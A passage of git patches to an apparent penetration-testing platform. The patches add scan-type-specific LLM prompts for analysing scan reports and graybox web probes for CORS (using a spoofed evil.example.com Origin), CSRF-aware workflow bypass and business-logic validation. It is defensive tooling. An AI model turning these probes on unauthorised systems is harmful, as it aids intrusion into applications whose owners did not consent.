b/extensions/business/cybersec/red_mesh/mixins/llm_agent.py index 6abc8cf3..1d337981 100644 --- a/extensions/business/cybersec/red_mesh/mixins/llm_agent.py +++ b/extensions/business/cybersec/red_mesh/mixins/llm_agent.py @@ -152,7 +152,9 @@ def _call_llm_agent_api( self.P(f"Error calling LLM Agent API: {e}", color='r') return {"error": str(e), "status": "error"} - def _auto_analyze_report(self, job_id: str, report: dict, target: str) -> Optional[dict]: + def _auto_analyze_report( + self, job_id: str, report: dict, target: str, scan_type: str = "network", + ) -> Optional[dict]: """ Automatically analyze a completed scan report using LLM Agent API. @@ -164,6 +166,8 @@ def _auto_analyze_report(self, job_id: str, report: dict, target: str) -> Option Aggregated scan report to analyze. target : str Target hostname/IP that was scanned. + scan_type : str, optional + "network" or "webapp" — selects the prompt set. Returns ------- @@ -174,7 +178,7 @@ def _auto_analyze_report(self, job_id: str, report: dict, target: str) -> Option self.Pd("LLM auto-analysis skipped (not enabled)") return None - self.P(f"Running LLM auto-analysis for job {job_id}, target {target}...") + self.P(f"Running LLM auto-analysis for job {job_id}, target {target} (scan_type={scan_type})...") analysis_result = self._call_llm_agent_api( endpoint="/analyze_scan", @@ -182,6 +186,7 @@ def _auto_analyze_report(self, job_id: str, report: dict, target: str) -> Option payload={ "scan_results": report, "analysis_type": self.cfg_llm_auto_analysis_type, + "scan_type": scan_type, "focus_areas": None, } ) @@ -259,7 +264,8 @@ def _run_aggregated_llm_analysis( str or None LLM analysis markdown text if successful, None otherwise. """ - target = job_config.get("target", "unknown") + scan_type = job_config.get("scan_type", "network") + target = job_config.get("target_url") if scan_type == "webapp" else job_config.get("target", "unknown") self.P(f"Running aggregated LLM analysis for job {job_id}, target {target}...") if not aggregated_report: @@ -268,17 +274,26 @@ def _run_aggregated_llm_analysis( # Add job metadata to report for context (strip node_ip — never send to LLM) report_with_meta = {k: v for k, v in aggregated_report.items() if k != "node_ip"} - report_with_meta["_job_metadata"] = { + + # Build scan-type-aware metadata + metadata = { "job_id": job_id, "target": target, - "start_port": job_config.get("start_port"), - "end_port": job_config.get("end_port"), - "enabled_features": job_config.get("enabled_features", []), + "scan_type": scan_type, "run_mode": job_config.get("run_mode", RUN_MODE_SINGLEPASS), } + if scan_type == "webapp": + metadata["target_url"] = job_config.get("target_url") + metadata["app_routes"] = job_config.get("app_routes", []) + metadata["excluded_features"] = job_config.get("excluded_features", []) + else: + metadata["start_port"] = job_config.get("start_port") + metadata["end_port"] = job_config.get("end_port") + metadata["enabled_features"] = job_config.get("enabled_features", []) + report_with_meta["_job_metadata"] = metadata # Call LLM analysis - llm_analysis = self._auto_analyze_report(job_id, report_with_meta, target) + llm_analysis = self._auto_analyze_report(job_id, report_with_meta, target, scan_type=scan_type) if not llm_analysis or "error" in llm_analysis: self.P( @@ -318,7 +333,8 @@ def _run_quick_summary_analysis( str or None Quick summary text if successful, None otherwise. """ - target = job_config.get("target", "unknown") + scan_type = job_config.get("scan_type", "network") + target = job_config.get("target_url") if scan_type == "webapp" else job_config.get("target", "unknown") self.P(f"Running quick summary analysis for job {job_id}, target {target}...") if not aggregated_report: @@ -327,14 +343,23 @@ def _run_quick_summary_analysis( # Add job metadata to report for context (strip node_ip — never send to LLM) report_with_meta = {k: v for k, v in aggregated_report.items() if k != "node_ip"} - report_with_meta["_job_metadata"] = { + + # Build scan-type-aware metadata + metadata = { "job_id": job_id, "target": target, - "start_port": job_config.get("start_port"), - "end_port": job_config.get("end_port"), - "enabled_features": job_config.get("enabled_features", []), + "scan_type": scan_type, "run_mode": job_config.get("run_mode", RUN_MODE_SINGLEPASS), } + if scan_type == "webapp": + metadata["target_url"] = job_config.get("target_url") + metadata["app_routes"] = job_config.get("app_routes", []) + metadata["excluded_features"] = job_config.get("excluded_features", []) + else: + metadata["start_port"] = job_config.get("start_port") + metadata["end_port"] = job_config.get("end_port") + metadata["enabled_features"] = job_config.get("enabled_features", []) + report_with_meta["_job_metadata"] = metadata # Call LLM analysis with quick_summary type analysis_result = self._call_llm_agent_api( @@ -343,6 +368,7 @@ def _run_quick_summary_analysis( payload={ "scan_results": report_with_meta, "analysis_type": "quick_summary", + "scan_type": scan_type, "focus_areas": None, } ) diff --git a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_api.py b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_api.py index 92ff3d3f..530dbf98 100644 --- a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_api.py +++ b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_api.py @@ -92,43 +92,140 @@ }, } -# System prompts for scan analysis -ANALYSIS_PROMPTS = { - LLM_ANALYSIS_SECURITY_ASSESSMENT: """You are a cybersecurity expert analyzing network scan results. -Provide a comprehensive security assessment of the target based on the scan data. -Include: -1. Executive summary of security posture -2. Key findings organized by severity (Critical, High, Medium, Low) -3. Attack surface analysis -4. Overall risk rating - -Be specific and reference the actual findings from the scan data.""", - - LLM_ANALYSIS_VULNERABILITY_SUMMARY: """You are a cybersecurity expert analyzing network scan results. -Provide a prioritized vulnerability summary based on the scan data. -Include: -1. Vulnerabilities ranked by severity and exploitability -2. CVE references where applicable -3. Potential impact of each vulnerability -4. Quick wins (easy fixes with high impact) - -Focus on actionable findings.""", - - LLM_ANALYSIS_REMEDIATION_PLAN: """You are a cybersecurity expert analyzing network scan results. -Provide a detailed remediation plan based on the scan data. -Include: -1. Prioritized remediation steps -2. Specific commands or configurations to fix issues -3. Estimated effort for each fix -4. Dependencies between fixes -5. Verification steps to confirm remediation - -Be practical and provide copy-paste ready solutions where possible.""", - - LLM_ANALYSIS_QUICK_SUMMARY: """You are a cybersecurity expert. Based on the scan results below, write a quick executive summary in exactly 2-4 sentences. Cover: how many ports/services were found, the overall risk posture (critical/high/medium/low), and the single most important finding or action item. Be specific but extremely concise -- this is a dashboard glance summary, not a full report.""", +# System prompts for scan analysis — network (blackbox port scanning) +_NETWORK_PROMPTS = { + LLM_ANALYSIS_SECURITY_ASSESSMENT: """You are a senior penetration tester analyzing blackbox network scan results. The scan probed TCP ports on the target, fingerprinted services, tested for known CVEs, checked default credentials, and ran protocol-specific probes (HTTP, SSH, TLS, DNS, SMTP, databases, ICS/SCADA). + +Provide a comprehensive security assessment. Structure your response as: + +1. **Executive Summary** — One paragraph: overall security posture, number of open ports, number and severity distribution of findings, and whether the target is internet-facing or internal. +2. **Critical & High Findings** — For each finding: what was found, why it matters (business impact, not just technical), exploitability (is a public exploit available? is it authenticated or unauthenticated?), and the specific evidence from scan data (port, service, banner, CVE ID). +3. **Attack Surface Analysis** — Map the exposed services to potential attack chains. Identify lateral movement opportunities (e.g., exposed database + weak credentials → data exfiltration). Note any ICS/SCADA indicators. +4. **Medium & Low Findings** — Briefly list with one-line impact statements. +5. **Risk Rating** — Rate as Critical/High/Medium/Low with a one-sentence justification. Factor in: number of critical findings, presence of default credentials, unpatched CVEs with public exploits, and exposed management interfaces. + +Reference specific ports, services, CVE IDs, and banners from the scan data. Do not make generic recommendations — be specific to what was actually found.""", + + LLM_ANALYSIS_VULNERABILITY_SUMMARY: """You are a senior penetration tester analyzing blackbox network scan results. The scan probed TCP ports, fingerprinted services, and tested for known CVEs and misconfigurations. + +Provide a prioritized vulnerability summary. Structure your response as: + +1. **Findings by Severity** — Group findings into Critical, High, Medium, Low. For each: + - One-line title (e.g., "OpenSSH 7.4 — CVE-2023-38408 (RCE)") + - Port/service where found + - CVSS score or exploitability assessment (unauthenticated RCE > authenticated info disclosure) + - Real-world impact (data breach, lateral movement, denial of service) +2. **Quick Wins** — Top 3-5 fixes with highest security impact and lowest effort (e.g., disable SSLv3, change default password, restrict management port to VPN). +3. **CVE Cross-Reference** — Table of all CVEs found with affected service, version, and whether a public exploit exists. + +Rank findings by exploitability first, then severity. An unauthenticated RCE on a public-facing service is always the top priority, regardless of CVSS score.""", + + LLM_ANALYSIS_REMEDIATION_PLAN: """You are a senior penetration tester creating a remediation plan from blackbox network scan results. The scan probed TCP ports, fingerprinted services, and tested for CVEs and misconfigurations. + +Provide a remediation plan that a system administrator can execute. Structure your response as: + +1. **Immediate Actions (24-48 hours)** — Critical and easily exploitable findings. For each: + - What to fix and where (specific port, service, config file) + - Exact command or configuration change (copy-paste ready) + - Verification step to confirm the fix worked +2. **Short-Term (1-2 weeks)** — High findings, patch deployments, credential rotations. +3. **Medium-Term (1-3 months)** — Architecture improvements, network segmentation, hardening. +4. **Dependencies** — Note where one fix must happen before another (e.g., "patch OpenSSH before rotating SSH keys"). +5. **Compensating Controls** — If a fix requires downtime or coordination, suggest interim mitigations (e.g., firewall rule to restrict access while waiting for patch window). + +Be specific to the services and versions found. Do not suggest generic hardening guides — reference the actual findings.""", + + LLM_ANALYSIS_QUICK_SUMMARY: """You are a senior penetration tester. Based on the network scan results below, write an executive summary in exactly 2-4 sentences. + +Cover: number of open ports, number of services identified, overall risk posture (Critical/High/Medium/Low), and the single most important finding or action item. Mention specific CVEs or service names if critical findings exist. This is a dashboard glance summary — be specific but extremely concise.""", +} + + +# System prompts for scan analysis — webapp (authenticated graybox testing) +_WEBAPP_PROMPTS = { + LLM_ANALYSIS_SECURITY_ASSESSMENT: """You are a senior web application security specialist analyzing authenticated graybox scan results. The scan authenticated to the target web application with admin and optionally regular-user credentials, discovered routes and forms via crawling, and ran OWASP Top 10 probes including: + +- **A01 (Broken Access Control)**: IDOR/BOLA testing, privilege escalation from regular to admin endpoints +- **A02 (Security Misconfiguration)**: Debug endpoint exposure, CORS policy, security headers, cookie attributes, CSRF protection, session token quality (JWT alg=none, short tokens) +- **A03 (Injection)**: Reflected XSS and SQL injection in login and authenticated forms, stored XSS via form submission and readback +- **A05 (Broken Access Control)**: Login form injection testing +- **A06 (Insecure Design)**: Workflow bypass testing on state-changing endpoints +- **A07 (Identification & Auth Failures)**: Bounded weak credential testing with lockout detection +- **API7 (SSRF)**: Server-side request forgery on URL-fetch endpoints + +Each finding has a status (vulnerable / not_vulnerable / inconclusive), severity, OWASP category, CWE IDs, evidence, and replay steps. + +Provide a comprehensive security assessment. Structure your response as: + +1. **Executive Summary** — One paragraph: overall application security posture, how many scenarios were tested, how many are vulnerable, and the OWASP categories with the most findings. Note the authentication context (which user roles were tested). +2. **Critical & High Findings** — For each vulnerable finding: + - Scenario ID and title + - Business impact (e.g., "Unauthorized access to other users' records", "Session hijacking via XSS", "Admin functionality accessible to regular users") + - Exploitability: Is it trivially reproducible? Does it require authentication? Can it be chained with other findings? + - Evidence from the scan (endpoint, payload, response) + - Replay steps (from the scan data) so the development team can reproduce +3. **OWASP Coverage Analysis** — Which OWASP categories were tested and what the outcomes were. Flag any categories that were skipped (probes disabled, missing configuration, no forms discovered) — these represent blind spots. +4. **Attack Chain Analysis** — Identify how individual findings could be chained (e.g., XSS + missing CSRF → account takeover, IDOR + weak auth → mass data exfiltration). +5. **Medium & Low Findings** — Missing security headers, cookie attribute issues, inconclusive results that warrant manual verification. +6. **Risk Rating** — Rate as Critical/High/Medium/Low. A single IDOR or privilege escalation finding on a production app with real user data makes this Critical regardless of other findings. + +Reference specific scenario IDs, endpoints, and evidence from the scan data. For inconclusive findings, explain what manual testing would confirm or rule out the issue.""", + + LLM_ANALYSIS_VULNERABILITY_SUMMARY: """You are a senior web application security specialist analyzing authenticated graybox scan results. The scan tested OWASP Top 10 categories (A01-A07, API7) against the target application using admin and regular-user sessions. + +Each finding has: scenario_id, status (vulnerable/not_vulnerable/inconclusive), severity, OWASP category, CWE IDs, evidence, and replay steps. + +Provide a prioritized vulnerability summary. Structure your response as: + +1. **Vulnerable Findings by Severity** — Group by Critical, High, Medium, Low. For each: + - Scenario ID and title + - OWASP category and CWE + - One-line business impact + - Whether the finding is confirmed (status=vulnerable) or needs manual verification (status=inconclusive) +2. **Quick Wins** — Top 3-5 fixes with highest security impact and lowest development effort. Examples: add CSRF tokens, set HttpOnly/Secure on cookies, add Content-Security-Policy header, fix CORS wildcard. +3. **Inconclusive Findings Requiring Manual Review** — List findings with status=inconclusive and explain what additional testing would confirm them (e.g., "JWT signature weakness detected — manually verify if the signing key is brute-forceable"). +4. **Untested Areas** — Probes that were skipped (stateful probes disabled, no SSRF endpoints configured, no forms discovered). These are coverage gaps the team should address manually. + +Rank confirmed vulnerabilities above inconclusive ones. Rank by business impact: access control failures > injection > misconfigurations.""", + + LLM_ANALYSIS_REMEDIATION_PLAN: """You are a senior web application security specialist creating a remediation plan from authenticated graybox scan results. The scan tested OWASP Top 10 categories against the target application. + +Each finding includes: scenario_id, OWASP category, CWE IDs, evidence, and replay steps for reproduction. + +Provide a remediation plan for the development team. Structure your response as: + +1. **Immediate Actions (next sprint)** — Critical and High findings. For each: + - What to fix, referencing the specific endpoint and CWE + - Code-level fix guidance (e.g., "Add @login_required + object ownership check on /api/records/{id}/", "Escape output with django.utils.html.escape()", "Set SameSite=Strict on session cookie") + - Framework-specific guidance where possible (Django, Flask, Rails, Express patterns) + - Verification: how to confirm the fix using the replay steps from the scan +2. **Short-Term (1-2 sprints)** — Medium findings, security header additions, cookie hardening. +3. **Architecture Improvements** — Systemic fixes that prevent entire vulnerability classes: + - CSRF: framework-level middleware enforcement (not per-endpoint) + - Access control: centralized authorization middleware (not per-view checks) + - Injection: parameterized queries + output encoding at the template layer + - Security headers: middleware/reverse-proxy level (one config change covers all endpoints) +4. **Testing Improvements** — Suggest integration tests the team should add to prevent regressions (e.g., "Add test that regular user gets 403 on /api/admin/export-users/"). + +Reference the specific scenario IDs and endpoints from the scan. Provide copy-paste code snippets where possible.""", + + LLM_ANALYSIS_QUICK_SUMMARY: """You are a senior web application security specialist. Based on the authenticated graybox scan results below, write an executive summary in exactly 2-4 sentences. + +Cover: how many OWASP scenarios were tested, how many are vulnerable, the highest-severity finding (mention the specific vulnerability type — e.g., IDOR, XSS, CSRF bypass), and the single most important action item for the development team. This is a dashboard glance summary — be specific but extremely concise.""", } +def _get_analysis_prompts(scan_type: str) -> dict: + """Select prompt set based on scan type.""" + if scan_type == "webapp": + return _WEBAPP_PROMPTS + return _NETWORK_PROMPTS + + +# Default prompts (network) for backward compatibility +ANALYSIS_PROMPTS = _NETWORK_PROMPTS + + class RedmeshLlmAgentApiPlugin(BasePlugin): """ RedMesh LLM Agent API plugin for DeepSeek integration. @@ -480,6 +577,7 @@ def analyze_scan( self, scan_results: Dict[str, Any], analysis_type: str = LLM_ANALYSIS_SECURITY_ASSESSMENT, + scan_type: str = "network", focus_areas: Optional[List[str]] = None, model: Optional[str] = None, temperature: Optional[float] = None, @@ -498,6 +596,9 @@ def analyze_scan( - "security_assessment" (default): Overall security posture evaluation - "vulnerability_summary": Prioritized list of findings with severity - "remediation_plan": Actionable steps to fix identified issues + scan_type : str, optional + Scan type: "network" (blackbox port scan) or "webapp" (authenticated graybox). + Selects the appropriate prompt set for the analysis. focus_areas : list of str, optional Specific areas to focus on: ["web", "network", "databases", "authentication"] model : str, optional @@ -532,8 +633,9 @@ def analyze_scan( "status": LLM_API_STATUS_ERROR, } - # Get system prompt for analysis type - system_prompt = ANALYSIS_PROMPTS.get(analysis_type, ANALYSIS_PROMPTS[LLM_ANALYSIS_SECURITY_ASSESSMENT]) + # Get system prompt for analysis type (scan-type-aware) + prompts = _get_analysis_prompts(scan_type or "network") + system_prompt = prompts.get(analysis_type, prompts[LLM_ANALYSIS_SECURITY_ASSESSMENT]) # Add focus areas if provided if focus_areas: @@ -585,9 +687,27 @@ def analyze_scan( # Get token usage for cost tracking usage = response.get("usage", {}) + # Build scan summary (scan-type-aware) + scan_summary = { + "scan_type": scan_type or "network", + } + if scan_type == "webapp": + graybox = scan_results.get("graybox_results", {}) + scenarios = graybox.get("scenarios", []) + scan_summary["total_scenarios"] = len(scenarios) + scan_summary["vulnerable"] = sum(1 for s in scenarios if s.get("status") == "vulnerable") + scan_summary["not_vulnerable"] = sum(1 for s in scenarios if s.get("status") == "not_vulnerable") + scan_summary["inconclusive"] = sum(1 for s in scenarios if s.get("status") == "inconclusive") + scan_summary["has_graybox_results"] = bool(scenarios) + else: + scan_summary["open_ports"] = len(scan_results.get("open_ports", [])) + scan_summary["has_service_info"] = "service_info" in scan_results + scan_summary["has_web_tests"] = "web_tests_info" in scan_results + # Return clean, minimal structure return { "analysis_type": analysis_type, + "scan_type": scan_type or "network", "focus_areas": focus_areas, "model": response.get("model"), "content": content, @@ -596,11 +716,7 @@ def analyze_scan( "completion_tokens": usage.get("completion_tokens"), "total_tokens": usage.get("total_tokens"), }, - "scan_summary": { - "open_ports": len(scan_results.get("open_ports", [])), - "has_service_info": "service_info" in scan_results, - "has_web_tests": "web_tests_info" in scan_results, - }, + "scan_summary": scan_summary, "created_at": self.time(), } From 72b099e0cd5b4b295558b6e649d722bc5aeb011a Mon Sep 17 00:00:00 2001 From: toderian Date: Wed, 11 Mar 2026 08:59:22 +0000 Subject: [PATCH 059/114] fix: add scan type to worker progress --- extensions/business/cybersec/red_mesh/pentester_api_01.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 20ca0d47..a52cb691 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -2276,7 +2276,10 @@ def get_job_progress(self, job_id: str): status = None if isinstance(job_specs, dict): status = job_specs.get("job_status") - return {"job_id": job_id, "status": status, "workers": result} + scan_type = None + if isinstance(job_specs, dict): + scan_type = job_specs.get("scan_type") + return {"job_id": job_id, "status": status, "scan_type": scan_type, "workers": result} @BasePlugin.endpoint def list_network_jobs(self): From 92ccfa938cedf66ba3970c4d82bff2101e6d6537 Mon Sep 17 00:00:00 2001 From: toderian Date: Wed, 11 Mar 2026 09:44:17 +0000 Subject: [PATCH 060/114] fix: add extra scanning probes to graybox --- .../red_mesh/graybox/probes/business_logic.py | 45 ++++++- .../red_mesh/graybox/probes/misconfig.py | 125 ++++++++++++------ .../cybersec/red_mesh/pentester_api_01.py | 6 +- .../cybersec/red_mesh/tests/test_api.py | 1 + 4 files changed, 128 insertions(+), 49 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/graybox/probes/business_logic.py b/extensions/business/cybersec/red_mesh/graybox/probes/business_logic.py index 16a72850..6052e11b 100644 --- a/extensions/business/cybersec/red_mesh/graybox/probes/business_logic.py +++ b/extensions/business/cybersec/red_mesh/graybox/probes/business_logic.py @@ -114,6 +114,9 @@ def _test_workflow_bypass(self): Tests if regular user can access workflow endpoints that should require elevated permissions or specific state transitions. + + For POST endpoints, includes the CSRF token so that CSRF rejection + doesn't mask a real authorization gap. """ if not self.auth.regular_session: return @@ -122,14 +125,50 @@ def _test_workflow_bypass(self): if not endpoints: return + # Resolve {id} placeholders using IDOR test_ids (default: try 1 and 2) + idor_ids = [1, 2] + for iep in self.target_config.access_control.idor_endpoints: + if iep.test_ids: + idor_ids = iep.test_ids + break + for ep in endpoints: + path = ep.path + if "{id}" in path: + path = path.replace("{id}", str(idor_ids[0])) self.safety.throttle() - url = self.target_url + ep.path + url = self.target_url + path method = ep.method.upper() try: if method == "POST": - resp = self.auth.regular_session.post(url, data={}, timeout=10) + # Fetch the endpoint (or a page that carries CSRF tokens) to get + # a fresh CSRF token — otherwise Django/Rails may return 403 for + # missing CSRF, masking the real authorization check. + csrf_token = None + csrf_field = self.auth.detected_csrf_field + if csrf_field: + csrf_token = self.auth.regular_session.cookies.get("csrftoken") or \ + self.auth.regular_session.cookies.get("csrf_token") + if not csrf_token and csrf_field: + try: + page_resp = self.auth.regular_session.get( + self.target_url + "/", timeout=10, + ) + csrf_token = self.auth.extract_csrf_value( + page_resp.text, csrf_field, + ) + except Exception: + pass + + payload = {} + headers = {"Referer": self.target_url + path} + if csrf_token and csrf_field: + payload[csrf_field] = csrf_token + headers["X-CSRFToken"] = csrf_token + resp = self.auth.regular_session.post( + url, data=payload, headers=headers, timeout=10, + ) else: resp = self.auth.regular_session.get(url, timeout=10) except Exception: @@ -160,7 +199,7 @@ def _test_workflow_bypass(self): ], replay_steps=[ "Log in as regular user.", - f"Send {method} to {ep.path}.", + f"Send {method} to {path}.", f"Observe status {resp.status_code} instead of expected guard {expected}.", ], remediation="Enforce workflow state guards and role checks on all state-changing endpoints.", diff --git a/extensions/business/cybersec/red_mesh/graybox/probes/misconfig.py b/extensions/business/cybersec/red_mesh/graybox/probes/misconfig.py index 766ec7d4..8a91b332 100644 --- a/extensions/business/cybersec/red_mesh/graybox/probes/misconfig.py +++ b/extensions/business/cybersec/red_mesh/graybox/probes/misconfig.py @@ -62,53 +62,91 @@ def _test_debug_exposure(self): )) def _test_cors(self): - """PT-A02-02: check for permissive CORS configuration.""" + """PT-A02-02: check for permissive CORS configuration. + + Tests both the root URL and discovered API routes, since many apps + only set CORS headers on API endpoints (e.g. /api/*). + """ session = self.auth.anon_session or self.auth.official_session if not session: return - self.safety.throttle() - try: - resp = session.get( - self.target_url + "/", - headers={"Origin": "http://evil.example.com"}, - timeout=10, - ) - except Exception: - return + # Build candidate URLs: root + configured endpoints + discovered API routes. + # Many apps only set CORS headers on API routes, so we must test those too. + test_paths = ["/"] + # Add configured endpoints (IDOR, admin, workflow) — these are known API paths + for ep in self.target_config.access_control.idor_endpoints: + test_paths.append(ep.path.replace("{id}", "1")) + for ep in self.target_config.access_control.admin_endpoints: + test_paths.append(ep.path) + for ep in self.target_config.business_logic.workflow_endpoints: + test_paths.append(ep.path.replace("{id}", "1")) + # Add discovered API-like routes + for route in self.discovered_routes: + if "/api/" in route.lower(): + test_paths.append(route) + # Deduplicate while preserving order + seen = set() + unique_paths = [] + for p in test_paths: + if p not in seen: + seen.add(p) + unique_paths.append(p) - acao = resp.headers.get("Access-Control-Allow-Origin", "") - acac = resp.headers.get("Access-Control-Allow-Credentials", "").lower() + worst_finding = None + for path in unique_paths: + self.safety.throttle() + try: + resp = session.get( + self.target_url + path, + headers={"Origin": "http://evil.example.com"}, + timeout=10, + allow_redirects=False, + ) + except Exception: + continue - if acao == "*": - self.findings.append(GrayboxFinding( - scenario_id="PT-A02-02", - title="Permissive CORS: wildcard origin", - status="vulnerable", - severity="MEDIUM", - owasp="A02:2021", - cwe=["CWE-942"], - evidence=[ - f"access_control_allow_origin={acao}", - f"allow_credentials={acac}", - ], - remediation="Restrict Access-Control-Allow-Origin to trusted domains. Never use * with credentials.", - )) - elif acao == "http://evil.example.com": - severity = "HIGH" if acac == "true" else "MEDIUM" - self.findings.append(GrayboxFinding( - scenario_id="PT-A02-02", - title="CORS reflects arbitrary origin", - status="vulnerable", - severity=severity, - owasp="A02:2021", - cwe=["CWE-942"], - evidence=[ - f"access_control_allow_origin={acao}", - f"allow_credentials={acac}", - ], - remediation="Validate the Origin header against an allowlist. Do not reflect arbitrary origins.", - )) + acao = resp.headers.get("Access-Control-Allow-Origin", "") + acac = resp.headers.get("Access-Control-Allow-Credentials", "").lower() + + if acao == "*": + finding = GrayboxFinding( + scenario_id="PT-A02-02", + title="Permissive CORS: wildcard origin", + status="vulnerable", + severity="HIGH" if acac == "true" else "MEDIUM", + owasp="A02:2021", + cwe=["CWE-942"], + evidence=[ + f"path={path}", + f"access_control_allow_origin={acao}", + f"allow_credentials={acac}", + ], + remediation="Restrict Access-Control-Allow-Origin to trusted domains. Never use * with credentials.", + ) + if not worst_finding or finding.severity == "HIGH": + worst_finding = finding + elif acao == "http://evil.example.com": + severity = "HIGH" if acac == "true" else "MEDIUM" + finding = GrayboxFinding( + scenario_id="PT-A02-02", + title="CORS reflects arbitrary origin", + status="vulnerable", + severity=severity, + owasp="A02:2021", + cwe=["CWE-942"], + evidence=[ + f"path={path}", + f"access_control_allow_origin={acao}", + f"allow_credentials={acac}", + ], + remediation="Validate the Origin header against an allowlist. Do not reflect arbitrary origins.", + ) + if not worst_finding or severity == "HIGH": + worst_finding = finding + + if worst_finding: + self.findings.append(worst_finding) else: self.findings.append(GrayboxFinding( scenario_id="PT-A02-02", @@ -116,7 +154,7 @@ def _test_cors(self): status="not_vulnerable", severity="INFO", owasp="A02:2021", - evidence=[f"access_control_allow_origin={acao or 'absent'}"], + evidence=[f"paths_tested={len(unique_paths)}"], )) def _test_security_headers(self): @@ -214,7 +252,8 @@ def _test_csrf_bypass(self): csrf_test_endpoints = [] for ep in self.target_config.business_logic.workflow_endpoints: - csrf_test_endpoints.append(ep.path) + path = ep.path.replace("{id}", "1") if "{id}" in ep.path else ep.path + csrf_test_endpoints.append(path) for form in self.discovered_forms: if form == self.target_config.login_path: continue diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index a52cb691..aececf35 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1004,11 +1004,13 @@ def _build_job_archive(self, job_key, job_specs): """ job_id = job_specs.get("job_id", job_key) - # 1. Fetch job config + # 1. Fetch job config and redact credentials for archive storage job_config = self.r1fs.get_json(job_specs.get("job_config_cid")) if job_config is None: self.P(f"Cannot build archive for {job_id}: job config not found in R1FS", color='r') return + if job_config.get("redact_credentials", True): + job_config = self._redact_job_config(job_config) # 2. Fetch all pass reports passes = [] @@ -1753,8 +1755,6 @@ def _announce_launch( ) config_dict = job_config.to_dict() - if job_config.redact_credentials: - config_dict = self._redact_job_config(config_dict) job_config_cid = self.r1fs.add_json(config_dict, show_logs=False) if not job_config_cid: self.P("Failed to store job config in R1FS — aborting launch", color='r') diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index c1e58369..618e14d9 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -1379,6 +1379,7 @@ def verify_fail_get(cid): ) plugin.SEVERITY_ORDER = Plugin.SEVERITY_ORDER plugin.CONFIDENCE_ORDER = Plugin.CONFIDENCE_ORDER + plugin._redact_job_config = lambda d: Plugin._redact_job_config(d) return plugin, job_specs, pass_reports_data, job_config From 353511e3c981e31ceb01b2ec6a4c8b6a1ff382cd Mon Sep 17 00:00:00 2001 From: toderian Date: Wed, 11 Mar 2026 10:05:55 +0000 Subject: [PATCH 061/114] fix: add extra scanning probes to graybox | login rate limit | password reset token predictability | business logic validation --- .../red_mesh/graybox/models/target_config.py | 26 ++ .../red_mesh/graybox/probes/business_logic.py | 185 +++++++++++++ .../red_mesh/graybox/probes/misconfig.py | 249 ++++++++++++++++++ 3 files changed, 460 insertions(+) diff --git a/extensions/business/cybersec/red_mesh/graybox/models/target_config.py b/extensions/business/cybersec/red_mesh/graybox/models/target_config.py index 1034f357..803716ad 100644 --- a/extensions/business/cybersec/red_mesh/graybox/models/target_config.py +++ b/extensions/business/cybersec/red_mesh/graybox/models/target_config.py @@ -128,15 +128,37 @@ def from_dict(cls, d: dict) -> InjectionConfig: ) +@dataclass(frozen=True) +class RecordEndpoint: + """Endpoint for business logic validation testing (PT-A06-02).""" + path: str # e.g. "/records/{id}/" + method: str = "POST" + amount_field: str = "amount" # field name for monetary amount + status_field: str = "status" # field name for status/state + valid_transitions: dict[str, list[str]] = field(default_factory=dict) # e.g. {"draft": ["submitted"]} + + @classmethod + def from_dict(cls, d: dict) -> RecordEndpoint: + return cls( + path=d["path"], + method=d.get("method", "POST"), + amount_field=d.get("amount_field", "amount"), + status_field=d.get("status_field", "status"), + valid_transitions=d.get("valid_transitions", {}), + ) + + @dataclass(frozen=True) class BusinessLogicConfig: """Config for business logic probes (A06).""" workflow_endpoints: list[WorkflowEndpoint] = field(default_factory=list) + record_endpoints: list[RecordEndpoint] = field(default_factory=list) @classmethod def from_dict(cls, d: dict) -> BusinessLogicConfig: return cls( workflow_endpoints=[WorkflowEndpoint.from_dict(e) for e in d.get("workflow_endpoints", [])], + record_endpoints=[RecordEndpoint.from_dict(e) for e in d.get("record_endpoints", [])], ) @@ -180,6 +202,8 @@ class GrayboxTargetConfig: # Login endpoint configuration (shared across probes) login_path: str = "/auth/login/" logout_path: str = "/auth/logout/" + password_reset_path: str = "" # e.g. "/auth/password-reset/request/" + password_reset_confirm_path: str = "" # e.g. "/auth/password-reset/confirm/" username_field: str = "username" password_field: str = "password" csrf_field: str = "" # empty = auto-detect from COMMON_CSRF_FIELDS @@ -197,6 +221,8 @@ def from_dict(cls, d: dict) -> GrayboxTargetConfig: discovery=DiscoveryConfig.from_dict(d.get("discovery", {})), login_path=d.get("login_path", "/auth/login/"), logout_path=d.get("logout_path", "/auth/logout/"), + password_reset_path=d.get("password_reset_path", ""), + password_reset_confirm_path=d.get("password_reset_confirm_path", ""), username_field=d.get("username_field", "username"), password_field=d.get("password_field", "password"), csrf_field=d.get("csrf_field", ""), diff --git a/extensions/business/cybersec/red_mesh/graybox/probes/business_logic.py b/extensions/business/cybersec/red_mesh/graybox/probes/business_logic.py index 6052e11b..a80e4c2b 100644 --- a/extensions/business/cybersec/red_mesh/graybox/probes/business_logic.py +++ b/extensions/business/cybersec/red_mesh/graybox/probes/business_logic.py @@ -19,6 +19,7 @@ class BusinessLogicProbes(ProbeBase): def run(self): if self._allow_stateful: self.run_safe("workflow_bypass", self._test_workflow_bypass) + self.run_safe("validation_bypass", self._test_validation_bypass) else: self.findings.append(GrayboxFinding( scenario_id="PT-A06-01", @@ -204,3 +205,187 @@ def _test_workflow_bypass(self): ], remediation="Enforce workflow state guards and role checks on all state-changing endpoints.", )) + + def _test_validation_bypass(self): + """ + PT-A06-02: test business logic validation (negative amounts, invalid state transitions). + + Submits boundary-violating values to record endpoints and checks if the + server accepts them. Tests negative monetary amounts and forbidden state + transitions. + """ + if not self.auth.official_session: + return + + endpoints = 